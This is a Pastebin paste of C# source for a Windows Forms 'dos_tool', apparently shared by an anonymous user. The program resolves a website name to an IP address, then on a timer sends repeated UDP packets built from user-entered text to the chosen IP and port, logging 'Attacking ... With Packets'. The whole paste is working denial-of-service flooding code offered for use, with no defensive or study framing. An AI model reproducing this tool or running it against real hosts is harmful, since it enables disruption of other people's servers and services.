Advertisement
Guest User

Dos source code

a guest
Mar 17th, 2018
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.24 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using System.Net;
  11. using System.Net.Sockets;
  12. using System.IO;
  13.  
  14. namespace dos_tool
  15. {
  16.     public partial class Form1 : Form
  17.     {
  18.         public Form1()
  19.         {
  20.             InitializeComponent();
  21.         }
  22.  
  23.         private void Timer1_Tick(object sender, EventArgs e)
  24.         {
  25.             listBox1.Items.Add("Attacking"+ " " + vitalityTextBox1.Text + " " + "With Packets");
  26.             byte[] packets = System.Text.ASCIIEncoding.ASCII.GetBytes(vitalityTextBox3.Text);
  27.             string IP = vitalityTextBox1.Text;
  28.             string strport = vitalityTextBox2.Text;
  29.             int port;
  30.             port = int.Parse(strport);          
  31.             IPEndPoint endP = new IPEndPoint(IPAddress.Parse(IP), port);
  32.             Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  33.             client.SendTo(packets, endP);
  34.         }
  35.  
  36.         private void vitalityButton1_Click(object sender, EventArgs e)
  37.         {
  38.             timer1.Enabled = true;
  39.         }
  40.  
  41.         private void vitalityButton3_Click(object sender, EventArgs e)
  42.         {
  43.             timer1.Enabled = false;
  44.         }
  45.  
  46.         private void vitalityButton2_Click(object sender, EventArgs e)
  47.         {
  48.             vitalityTextBox1.Clear();
  49.             vitalityTextBox2.Clear();
  50.             vitalityTextBox3.Clear();
  51.             vitalityTextBox4.Clear();
  52.             listBox1.Items.Clear();
  53.             listBox1.Items.Clear();
  54.         }
  55.  
  56.         private void vitalityButton4_Click(object sender, EventArgs e)
  57.         {
  58.             try
  59.             {
  60.                 IPHostEntry hostname = Dns.GetHostEntry(vitalityTextBox4.Text);
  61.                 IPAddress[] ip = hostname.AddressList;
  62.                 vitalityTextBox5.Text = ip[0].ToString();
  63.             }
  64.             catch (Exception)
  65.             {
  66.                 MessageBox.Show("Please Enter a valid Website!");
  67.             }
  68.         }
  69.  
  70.         private void X_Click(object sender, EventArgs e)
  71.         {
  72.             this.Close();
  73.         }
  74.     }
  75. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement